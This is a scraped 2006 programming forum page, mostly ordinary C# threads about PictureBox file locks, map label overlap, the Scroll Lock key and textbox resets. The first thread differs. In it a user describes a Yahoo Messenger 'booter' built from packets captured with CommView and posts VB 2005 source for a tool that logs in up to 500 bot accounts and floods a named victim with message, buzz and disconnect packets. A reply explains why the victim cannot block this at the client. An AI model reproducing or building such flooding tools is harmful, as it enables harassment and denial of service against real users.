|
ok let me give a accurate detail of a Booter program since i dont think your completely following me on this...
A booter is a program that sends packets of information to an individual ok, all they need is your Username dosnt matter if your in a chat room or not...If you have a Yahoo Messenger and they have your username they can boot the living snot out of some one..
They get the Packets using CommView,to get the packets you need a 2 way conversation either with a friend etc...As you know CommView will pick up the packets that are sent by the Messenger program...The packets are then modified to be used in the booter program..These packets can range from a Log Off packet,Buzzing some one,Emoticon packets etc..As you know the packets are the bits of information telling the messenger what to do..
A person on the Receiving end can get thousands up message box's, each as you know will use up System Resources for every message box open on the Receivers end...This program does not connect to your IP address what so ever the Username is all that is needed to boot someone..
They type in a username and press a button..and bam they are sending Packets your way...If you need some of the VB6 Code to see what i'm talking about i can provide the code...If you compiled the code you would have a booter program to boot people off of Yahoo..
So here is some of the Code:: This code is updated to "VB 2005"
<code>Option Strict Off
Option Explicit On
Friend Class Form1
Inherits System.Windows.Forms.Form
Dim i As Short
Dim Header As System.Windows.Forms.ColumnHeader
Dim Item As System.Windows.Forms.ListViewItem
Dim x As Short
Private Sub BotsList_SelectedIndexChanged(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles BotsList.SelectedIndexChanged
For Each tsi As ToolStripItem In Me.StatusBar1.Items
If TypeOf tsi Is ToolStripStatusLabel Then
With DirectCast(tsi, ToolStripStatusLabel)
.BorderSides = ToolStripStatusLabelBorderSides.All ' ToolStripStatusLabelBorderSides.Left Or ToolStripStatusLabelBorderSides.Right
.BorderStyle = Border3DStyle.Sunken
End With
End If
Next
On Error Resume Next
For i = 0 To CInt(BotsList.Text)
Socket.Load
YahooID(i) = ListView1.Items.Item(i).SubItems(0).Text
Password(i) = ListView1.Items.Item(i).SubItems(-1).Text
System.Windows.Forms.Application.DoEvents()
Socket(i).Close()
Socket(i).Connect(ServerList.Text, 5050)
If ServerList.SelectedIndex = ServerList.Items.Count + 1 Then
ServerList.SelectedIndex = 1
Else
ServerList.SelectedIndex = ServerList.SelectedIndex + 1
End If
Pause((0.04))
System.Windows.Forms.Application.DoEvents()
Next i
End Sub
Private Sub Command1_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command1.Click
GotoSite("http://www.google.com")
End Sub
Private Sub Command2_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command2.Click
On Error Resume Next
For i = 0 To CInt(BotsList.Text)
ListView1.Items(i).ImageIndex = 1
Socket(i).Close()
StatusBar1.Items.Item(0).Text = "0"
StatusBar1.Items.Item(-1).Text = "Status: Logged Out"
Next i
End Sub
Private Sub Command3_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command3.Click
Dim LTD As String = ""
Dim F As Object
Dim x As Short
If Command3.Text = "Load" Then
Header = ListView1.Columns.Add("", "", CInt(VB6.TwipsToPixelsX(250)))
Header = ListView1.Columns.Add("", "YahooID's", CInt(VB6.TwipsToPixelsX(1900)))
Header = ListView1.Columns.Add("", "", CInt(VB6.TwipsToPixelsX(0)))
F = FreeFile()
With CommonDialog1Open
.FileName = ""
.Title = "Load bots List"
.Filter = "All Supported Types|*.txt"
.ShowDialog()
If .FileName = "" Then Exit Sub
FileOpen(F, .FileName, OpenMode.Input)
While Not EOF(1)
Input(1, LTD)
F = Split(LTD, ":")
If x < 500 Then
Item = ListView1.Items.Add("", 2)
If Item.SubItems.Count > 1 Then
Item.SubItems(1).Text = F(0)
Else
Item.SubItems.Insert(1, New System.Windows.Forms.ListViewItem.ListViewSubItem(Nothing, F(0)))
End If
If Item.SubItems.Count > 2 Then
Item.SubItems(2).Text = F(1)
Else
Item.SubItems.Insert(2, New System.Windows.Forms.ListViewItem.ListViewSubItem(Nothing, F(1)))
End If
x = x + 1
BotsList.Items.Add(CStr(x))
Label4.Text = CStr(CDbl(Label4.Text) +
StatusBar1.Items.Item(1).Text = "Loading....... "
System.Windows.Forms.Application.DoEvents()
End If
End While
FileClose(1)
ListView1.View = System.Windows.Forms.View.Details
End With
Me.Text = "Select How Many Bots To Login"
Pause(1)
x = x + 1
StatusBar1.Items.Item(1).Text = x & " Bots Loaded !!!"
Command3.Text = "Clear"
Command1.Enabled = True
Command2.Enabled = True
Command4.Enabled = True
Command5.Enabled = True
Command6.Enabled = True
Command7.Enabled = True
Command8.Enabled = True
Command9.Enabled = True
Else
BotsList.Items.Clear()
BotsList.Text = "Bots"
ListView1.Items.Clear()
Label4.Text = "0"
Command3.Text = "Load"
End If
End Sub
Private Sub Command4_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command4.Click
StatusBar1.Items.Item(1).Text = "Sending Pm Bomb"
Timer1.Enabled = True
End Sub
Private Sub Command5_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command5.Click
StatusBar1.Items.Item(1).Text = "Pm Bomb Stopped"
Timer1.Enabled = False
PacketsLabel.Text = "0"
End Sub
Private Sub Command6_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command6.Click
StatusBar1.Items.Item(1).Text = "Sending Buzz Bomb"
Timer2.Enabled = True
End Sub
Private Sub Command7_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command7.Click
StatusBar1.Items.Item(1).Text = "Buzz Bomb Stopped"
Timer2.Enabled = False
PacketsLabel.Text = "0"
End Sub
Private Sub Command8_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command8.Click
StatusBar1.Items.Item(1).Text = "Sending Dc Packets"
Timer3.Enabled = True
End Sub
Private Sub Command9_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command9.Click
StatusBar1.Items.Item(1).Text = "Silent Dc Stopped"
Timer3.Enabled = False
PacketsLabel.Text = "0"
End Sub
Private Sub Form1_Load(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles MyBase.Load
MsgBox("This is a sample of 500 login and 3 boot commands to learn by MEAwww")
End Sub
Private Sub Socket_ConnectEvent(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Socket.ConnectEvent
Dim Index As Short = Socket.GetIndex(eventSender)
Socket(Index).SendData(Data(YahooID(Index)))
End Sub
Private Sub Socket_DataArrival(ByVal eventSender As System.Object, ByVal eventArgs As AxMSWinsockLib.DMSWinsockControlEvents_DataArrivalEvent) Handles Socket.DataArrival
Dim Index As Short = Socket.GetIndex(eventSender)
Socket(Index).GetData(Buffer(Index))
Debug.Print(Buffer(Index))
If Mid(Buffer(Index), 12, 1) = "W" Then
Sessionkey(Index) = Mid(Buffer(Index), 17, 4)
ChallengeString(Index) = Mid(Buffer(Index), 30 + Len(YahooID(Index)), Len(Buffer(Index)) - 29)
ChallengeString(Index) = Replace(ChallengeString(Index), "�13�1�", "")
Call GetStrings(YahooID(Index), Password(Index), ChallengeString(Index), Crypt1(Index), Crypt2(Index), 1)
'Pause (0.11)
Socket(Index).SendData(Login(YahooID(Index), Crypt1(Index), Crypt2(Index), Sessionkey(Index)))
'Pause (0.44)
ElseIf Mid(Buffer(Index), 12, 1) = "T" Then
StatusBar1.Items.Item(1).Text = YahooID(Index) & ""
Socket(Index).Close()
ElseIf Mid(Buffer(Index), 12, 1) = "U" Then
ListView1.Items(Index).ImageIndex = 0
Sessionkey(Index) = Mid(Buffer(Index), 17, 4)
StatusBar1.Items.Item(2).Text = CStr(CDbl(StatusBar1.Items.Item(2).Text) + 1)
StatusBar1.Items.Item(1).Text = "Status: " & YahooID(Index) & ""
End If
End Sub
Private Sub Socket_Error(ByVal eventSender As System.Object, ByVal eventArgs As AxMSWinsockLib.DMSWinsockControlEvents_ErrorEvent) Handles Socket.Error
Dim Index As Short = Socket.GetIndex(eventSender)
StatusBar1.Items.Item(1).Text = "Status: Error"
Socket(Index).Close()
End Sub
Private Sub Timer1_Tick(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Timer1.Tick
Dim i As Short
For i = 0 To CDbl(BotsList.Text) - 1
PacketsLabel.Text = CStr(CDbl(PacketsLabel.Text) + 1
If Socket(i).CtlState = MSWinsockLib.StateConstants.sckConnected Then Socket(i).SendData(PM(YahooID(i), (Victim.Text)))
End If
Next i
i = i + 1
End Sub
Private Sub Timer2_Tick(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Timer2.Tick
Dim i As Short
For i = 0 To CDbl(BotsList.Text) - 1
PacketsLabel.Text = CStr(CDbl(PacketsLabel.Text) + 1)
If Socket(i).CtlState = MSWinsockLib.StateConstants.sckConnected Then Socket(i).SendData(Buzz(YahooID(i), (Victim.Text)))
End If
Next i
i = i + 1
End Sub
Private Sub Timer3_Tick(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Timer3.Tick
Dim i As Short
For i = 0 To CDbl(BotsList.Text) - 1
PacketsLabel.Text = CStr(CDbl(PacketsLabel.Text) + 1)
If Socket(i).CtlState = MSWinsockLib.StateConstants.sckConnected Then Socket(i).SendData(Dc(YahooID(i), (Victim.Text)))
End If
Next i
i = i + 1
End Sub
Private Sub Victim_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Victim.Click
Victim.Text = ""
End Sub
End Class</code>
[b] so this "Code" should give you a better idea,its not all thier so if you need the code for the LogIn etc let me know.Maybe with the code you can get a better idea of what i'm trying to get across,thiers a Module for the Login etc and a module for the Packets..[/b]
Maybe thiers a way to solve this ,Maybe theirs not but I think thier should be away some how...
-- modified at 20:21 Wednesday 11th January, 2006
|
|
|
|
|
DocH0liday wrote: ...long, drawn out explanation
And? So what if you can catch and modify packets that exploit the Messengers functionality.
There's still nothing you can do about it. You absolutely cannot change the port numbers without breaking the connection with the remote client.
Even if you could change the port number, that still won't stop you from getting flooded by bad packets. Your machine will still see the packets hitting your NIC. The only difference is that your application won't be listening anymore. Since your still getting flooded by bad packets, your real conversation gets drowned out.
It's just TCP/IP basics...
RageInTheMachine9532
"...a pungent, ghastly, stinky piece of cheese!" -- The Roaming Gnome
|
|
|
|
|
Is thier any other Solutions to this kind of problem??
|
|
|
|
|
Yes, there is, but you can't implement it. The messenger application must support secured communications, both on the clients and the server. Only the manufacturer can add that support.
This way, noone can grab a packet and modify it to take advantage on the client functionality. Once the packet is modified, the security envelope is no longer valid, discarding the packet.
RageInTheMachine9532
"...a pungent, ghastly, stinky piece of cheese!" -- The Roaming Gnome
|
|
|
|
|
After I unloaded an image from a picture box like that:
<br />
if (pictureBox.Image != null){<br />
pictureBox.Image.Dispose();<br />
pictureBox.Image = null;<br />
}<br />
but when the application is still running, I cannot overwrite this image.
How can overwrite it while application is still running? Thanks a lot!
I'm ...
a fan of Manchester United
a fan of Ozzy Osbourne
a King of Nothing
|
|
|
|
|
I would hope that the picturebox takes care of it's own memory, and you can just assign another image.
Christian Graus - Microsoft MVP - C++
|
|
|
|
|
Maybe my description has some confusions for you.
I don't want to load another image to the pictrue box, I want my program can overwrite the image which I just have unload from the picture box.
I'm ...
a fan of Manchester United
a fan of Ozzy Osbourne
a King of Nothing
|
|
|
|
|
Are you saying that the picturebox continues to hold a reference to the image, and the image on disc cannot be overwritten as a result ?
That seems odd to me, I don't think that Bitmap.FromFile keeps the file open.
Christian Graus - Microsoft MVP - C++
|
|
|
|
|
Extractly!
But I don't use Bitmap.FromFile, I used pictureBox.Load().
I'm ...
a fan of Manchester United
a fan of Ozzy Osbourne
a King of Nothing
|
|
|
|
|
The picture box is crap. I dunno why so many people use it. First step, use Bitmap.FromFile, and pass that bitmap in, instead. Then, I don't see you having any issues.
Christian Graus - Microsoft MVP - C++
|
|
|
|
|
I will try as your recommendation. Thank you!
I'm ...
a fan of Manchester United
a fan of Ozzy Osbourne
a King of Nothing
|
|
|
|
|
The Bitmap class inherits from Image and uses Image's FromFile method, which calls a GDI+ Flat API function in GDIPlus.dll (curiously, something you're NOT supposed to do), called GdipLoadImageFromFile to load the image file. It looks like the resulting file handle is never closed so long as the GDI+ Image object exists.
As you probably know, the usual workaround was this[^] little article on MSDN. This eventually uses the GdipLoadImageFromStream GDI+ function, which does not hold a handle to the original image stream.
In 2005, the PictureBox.Load method calls the static Image.FromStream method, no matter what the actual source of the image is, so locking the image file is not a problem.
But, to answer his question, PictureBox.Image = null; should work no problem. I didn't have any at least... 
RageInTheMachine9532
"...a pungent, ghastly, stinky piece of cheese!" -- The Roaming Gnome
|
|
|
|
|
Hello!
On the graph display we have many overlapped text. Is there any good algorithms to resolve this problem, so that we have a readable layout ?
Thanks 
|
|
|
|
|
Please don't post to every forum.
You can request the metrics of the test in C# and also C++, and use that to work out if items overlap. You're basically talking about overlapping rectangles, no fancy algorithms are needed.
Christian Graus - Microsoft MVP - C++
|
|
|
|
|
My appology for posting to two forums.
The problems is: overlapped label inside a densed polygon on map. Each polygon has a label (ex. town name). The label should be placed to ensure readability while still reside in that polygon.
Your comments woulds be very helpful.
|
|
|
|
|
OK - that's a bit harder In that case, I guess you could start by centering the text over the point that denotes the location, then check if any overlap, and if they do, then decide on a solution. Your only options will be to change the font size, move the text about, or put some text below the dot and some above, as far as I can see.
Christian Graus - Microsoft MVP - C++
|
|
|
|
|
Does anyone know how in C# to test for the state of the Scroll Lock key?
Thanks,
David
|
|
|
|
|
If you use .NET 2.0, you can use the call Control.IsKeyLocked( Keys.Scroll ) call to get a bool that indicates the value for which you look.
If you use .NET 1.0 or 1.1, you need to look at GetKeyState[^].
"we must lose precision to make significant statements about complex systems."
-deKorvin on uncertainty
|
|
|
|
|
Curtis,
Thanks for the info I knew there had to be a way, just could not find it in the doc's of 1.1.
|
|
|
|
|
is there any way to intercept and control what to do based on the Content-Type of the page with the WebBrowser control? I am trying to capture and save the asx file instead of automatically opening and playing in media player. I have tried to intercept it on DownloadComplete, Navigating, Navigated events and none of them worked. 
Any suggestions is welcome!!
|
|
|
|
|
|
|
Are there any examples out there that I can take a look at the usage of this function? I tried using the function and it resulted in build errors.
Also, does this function allow me to put in my own code to handle the content for a specific content-type? I got a bit confused reading the doc.
Thanks for the help!
|
|
|
|
|
|
In a windows form I have a textbox and a button. Initially the text box contains "Enter ID" as the default text. I enter some ID and click the button which saves the ID to an XML. After that, the text in the textbox should revert back to "Enter ID" as before.
Right now my code is a below...
// Windows Form Designer generated code
// First time I intialize the dafault text
this.txtbox1.Text = "Enter ID";
// Button_click
private void button1_Click(object sender, System.EventArgs e)
{
//Write To File and reset all textboxes on the form for default text
SaveToXML();
ResetAllTextBoxes();
}
// Reset all text boxes on the window
private void ResetAllTextBoxes()
{
this.textbox1.Text = "Enter ID";
....
....
this.textbox10.Text = "There has to be some another way"
}
I'm not satisfied with this implementation because if I have 10 textboxes I need to have 20 lines of code doing the same. 10 lines in the Windows Form Designer generated code and 10 in ResetAllTextBoxes() method.
I tried the textbox1.ResetText() method but instead of reseting it to default text such as "Enter ID" it resets to blank.
Is there a better solution.
Thanks
----------
Venus Patel
http://patelsinc.blogspot.com/
A student knows little about a lot.
A professor knows a lot about little.
I know everything about nothing.
-- modified at 17:25 Tuesday 10th January, 2006
|
|
|
|
|
General 
News 
Suggestion 
Question 
Bug 
Answer 
Joke 
Praise 
Rant 
Admin 
Submit an article or tip
